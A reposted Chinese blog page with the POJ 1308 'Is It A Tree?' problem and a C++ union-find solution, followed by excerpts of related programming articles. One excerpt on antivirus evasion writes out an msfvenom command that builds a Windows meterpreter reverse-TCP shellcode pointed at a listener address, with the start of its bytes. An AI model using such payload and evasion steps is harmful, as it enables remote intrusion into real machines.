POJ 1308 Is It A Tree? (并查集)

Is It A Tree?

題目鏈接:

http://acm.hust.edu.cn/vjudge/contest/123393#problem/M

Description

A tree is a well-known data structure that is either empty (null, void, nothing) or is a set of one or more nodes connected by directed edges between nodes satisfying the following properties.

There is exactly one node, called the root, to which no directed edges point.
Every node except the root has exactly one edge pointing to it.
There is a unique sequence of directed edges from the root to each node.
For example, consider the illustrations below, in which nodes are represented by circles and edges are represented by lines with arrowheads. The first two of these are trees, but the last is not.
764119-20160727103014638-1558301427.png

In this problem you will be given several descriptions of collections of nodes connected by directed edges. For each of these you are to determine if the collection satisfies the definition of a tree or not.

Input

The input will consist of a sequence of descriptions (test cases) followed by a pair of negative integers. Each test case will consist of a sequence of edge descriptions followed by a pair of zeroes Each edge description will consist of a pair of integers; the first integer identifies the node from which the edge begins, and the second integer identifies the node to which the edge is directed. Node numbers will always be greater than zero.

Output

For each test case display the line "Case k is a tree." or the line "Case k is not a tree.", where k corresponds to the test case number (they are sequentially numbered starting with 1).

Sample Input

6 8 5 3 5 2 6 4
5 6 0 0

8 1 7 3 6 2 8 9 7 5
7 4 7 8 7 6 0 0

3 8 6 8 6 4
5 3 5 6 5 2 0 0
-1 -1

Sample Output

Case 1 is a tree.
Case 2 is a tree.
Case 3 is not a tree.


題意:


判斷給出的圖是否是一棵樹.


題解:


這題跟HDU1272判斷聯通無環圖一模一樣,圖的有向無向并不造成影響.
(http://www.cnblogs.com/Sunshine-tcf/p/5709544.html).


代碼:

#include <iostream>
#include <cstdio>
#include <cstring>
#include <cmath>
#include <algorithm>
#include <queue>
#include <map>
#include <set>
#include <vector>
#define LL long long
#define eps 1e-8
#define maxn 101000
#define mod 100000007
#define inf 0x3f3f3f3f
#define IN freopen("in.txt","r",stdin);
using namespace std;int fa[maxn];
int _rank[maxn];
bool vis[maxn];void init_set() {for(int i=0; i<maxn; i++) {fa[i] = i;_rank[i] = 0;}
}int find_set(int x) {return fa[x] = (x==fa[x]? x:find_set(fa[x]));
}void unit_set(int x, int y) {vis[x] = vis[y] = 1;x = find_set(x);y = find_set(y);if(_rank[x] < _rank[y]) swap(x, y);fa[y] = x;if(_rank[x] == _rank[y]) _rank[x]++;
}int main(int argc, char const *argv[])
{//IN;int x, y, ans = 1; int ca = 1;init_set();memset(vis, 0, sizeof(vis));while(scanf("%d %d", &x, &y) != EOF && (x!=-1||y!=-1)){if(!x && !y) {int last = -1;for(int i=0; i<maxn; i++) {if(!vis[i]) continue;if(last == -1) last = find_set(i);if(last != find_set(i)) {ans = 0; break;}}if(ans) printf("Case %d is a tree.\n", ca++);else printf("Case %d is not a tree.\n", ca++);ans = 1;init_set();memset(vis, 0, sizeof(vis));continue;}if(find_set(x) == find_set(y)) ans = 0;else unit_set(x, y);}return 0;
}

轉載于:https://www.cnblogs.com/Sunshine-tcf/p/5709548.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/271273.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/271273.shtml
英文地址,請注明出處:http://en.pswp.cn/news/271273.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Mysql分頁加pagebean_Spring+MyBatis+SpringMvc+Mysql+Druid+PageHelper分頁實現

我是阿福&#xff0c;公眾號「阿福聊編程」作者&#xff0c;一個在后端技術路上摸盤滾打的程序員&#xff0c;在進階的路上&#xff0c;共勉&#xff01;文章已收錄在 JavaSharing 中&#xff0c;包含Java技術文章&#xff0c;面試指南&#xff0c;資源分享。思路分析MyBatis的…

python csv使用_python CSV模塊的使用

簡介 CSV&#xff08;comma separated values&#xff09;&#xff0c;逗號分隔值&#xff08;字符分割值&#xff0c;字符可以不是逗號&#xff09;&#xff0c;常用的文本格式&#xff0c;用以存儲表格數據&#xff0c;包括數字或者字符。kaggle就是csv格式&#xff0c;pytho…

JDK 與 JRE區別

JDK 與 JRE JDK 與 JRE 是我們經常遇到的概念&#xff0c;但許多學習了幾年的開發都搞不懂他們之間的區別。簡單地說 JRE&#xff08;Java Runtime Environment&#xff09;僅包含運行 Java 程序的必需組件&#xff0c;包括 Java 虛擬機以及 Java 核心類庫等。而 JDK&#xff…

數據庫技術基礎:查詢優化相關知識筆記

1、查詢優化的基本概念1.1 查詢處理查詢處理是指從數據庫中提取數據的一系列活動。主要包括:將高級數據庫查詢語句翻譯成文件系統這一物理 層次的表達式&#xff0c;為優化查詢進行各種轉換以及查詢的實際執行。1.2 查詢處理的代價查詢處理的代價通常由磁盤的訪問&#xff0c;因…

設計模式----解釋器模式

一、簡介 解釋器模式使用頻率并不高&#xff0c;通常用來構建一個簡單語言的語法解釋器&#xff0c;它只在一些非常特定的領域被用到&#xff0c;比如編譯器、規則引擎、正則表達式、sql解析等。 解釋器模式是行為型設計模式之一&#xff0c;它的原始定義為&#xff1a;用于定義…

HTML學習筆記16——尺寸的表示_px、%、em三種

1.像素表示&#xff1a; 23px 2.子像素可以用百分比表示其大小&#xff0c;如50%&#xff0c;表示為父元素的一半 如果塊狀子元素的寬度不指定&#xff0c;默認是占滿父元素的寬度&#xff1b; 3.用em表示字體大小時&#xff0c;表示相對大小&#xff0c;是與父元素的比值&…

mysql索引是自動使用嗎_mysql索引是自動使用嗎?

MYSQL在創建索引后對索引的使用方式分為兩種&#xff1a;其一&#xff0c;由數據庫的查詢優化器自動判斷是否使用索引&#xff1b;其二&#xff0c;用戶可在寫SQL語句時強制使用索引。MYSQL在創建索引后對索引的使用方式分為兩種&#xff1a;1 由數據庫的查詢優化器自動判斷是否…

mac idea配置配置自動清除類中無用的import包

1:mac快捷鍵清包 control option o windows快捷鍵 Ctrl Alt O 2:打開Perferences ---> Editor --->Auto Imort 在下圖選中方方框中勾上

關系數據庫基礎:函數依賴知識筆記

1、函數依賴的定義設R(U)是屬性集U.上的關系模式&#xff0c;X, Y是U的子集。若對于R(U)的任意一個可能的關系r,r中不可能存在兩個元組在X集合上的屬性值相等,而在Y上的屬性值不等&#xff0c;則稱X函數確定Y或Y函數依賴于X,記作X→Y。理解&#xff1a;X&#xff0c;Y為兩個集合…

pythonspark實例_spark+python快速入門實戰小例子(PySpark)

1、集群測試實例 代碼如下&#xff1a; from pyspark.sql import SparkSession if __name__ "__main__": spark SparkSession\ .builder\ .appName("PythonWordCount")\ .master("spark://mini1:7077") \ .getOrCreate() spark.conf.set("…

SQL數據庫。按年,月,日查詢

select * from pop where year(pdate)年份 and month(pdate)>1 and month(pdate)<3select * from Mall_Coupons where year(StartDate)2011 and month(StartDate)>12 and month(StartDate)<2轉載于:https://www.cnblogs.com/wybshyy/p/5847894.html

【Spark】Spark基礎教程知識點

第 1 部分 Spark 基礎 Spark 概述 本章介紹 Spark 的一些基本認識. Spark官方地址 一&#xff1a;什么是 Spark Spark 是一個快速(基于內存), 通用, 可擴展的集群計算引擎 并且 Spark 目前已經成為 Apache 最活躍的開源項目, 有超過 1000 個活躍的貢獻者. 歷史 2009 年…

關系數據庫理論:數據庫的六大范式知識筆記

1、數據庫范式的作用數據庫范式主要是為解決關系數據庫中數據冗余、更新異常、插入異常、刪除異常問題而引入的設計理念。簡單來說&#xff0c;數據庫范式可以避免數據冗余&#xff0c;減少數據庫的存儲空間&#xff0c;并且減輕維護數據完整性的成本。是關系數據庫核心的技術之…

python 生成payload_利用Python進行Payload分離免殺

缺點&#xff1a;編譯成exe以后體積過大實現&#xff1a;msf生成shellcode代碼&#xff1a;msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.3.60 LPORT3333 -f c將payload給copy下來&#xff0c;去除引號。\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\…

ping不通docker_初識docker

前言大家好&#xff0c;我是jack xu&#xff0c;本篇是我在今日頭條的首秀&#xff0c;我的英文名來源于jack ma&#xff0c;馬云&#xff0c;所以大家也可以叫我徐云&#xff0c;即我希望像馬云一樣富有、成功&#xff0c;另外我名字中的杰與jack也是諧音關系。今天給大家帶來…

H5基礎標簽

一、字體標簽 1.text-indent&#xff1a;首行縮進 2.text-decoration&#xff1a;文本修飾&#xff08;text-decoration&#xff1a;none;除去文字的下劃線&#xff1b;text-decoration&#xff1a;line-through&#xff1b;文字上加刪除線&#xff09; 3.letter-spacing&#…

SQL語言基礎:數據庫語言概念介紹

1、概念介紹SQL&#xff08;Structured Query Lanauage&#xff09;結構化查詢語言是關系數據庫中最普遍使用的語言。主要包括查詢、數據操縱、數據定義、數據控制功能&#xff0c;是一種通用的、功能強大的關系數據庫的標準語言。2、SQL語言分類2.1 數據庫定義語言&#xff08…

configuration 命名空間_kubernetes30:monitoring命名空間處于Terminating狀態的處理方法...

刪除monitoring命名空間時總也無法徹底刪除&#xff0c;發現monitoring處于Terminating狀態&#xff0c;故有此文。kubectl get namespaces -o wide解決&#xff1a;嘗試使用force delete。kubectl delete namespace monitoring --force --grace-period0發現強制刪除沒有成功。…

SQL語言基礎:SQL語言概念知識筆記

1、SQL標準ANSI&#xff08;美國國家標準機構&#xff09;SQL對ANSI SQL進行修改后在1992年采用的標準SQL-92或SQL2SQL-99或SQL3標準從SQL2擴充而來&#xff0c;增加了對象關系特征和許多其他新的功能。最近的標準版本是SQL&#xff1a;20032、SQL的特點綜合統一&#xff1a;SQ…

重定向與轉發

使用重定向方法sendRedirect()將用戶重新定向到一個JSP頁面或另一個Servlet。 RequestDispatcher對象調用void forward(ServletRequest request,ServletResponse response) 方法可以將用戶對當前JSP頁面或Servlet的請求轉發給RequestDispatcher對象所指定的JSP頁面或Servlet。 …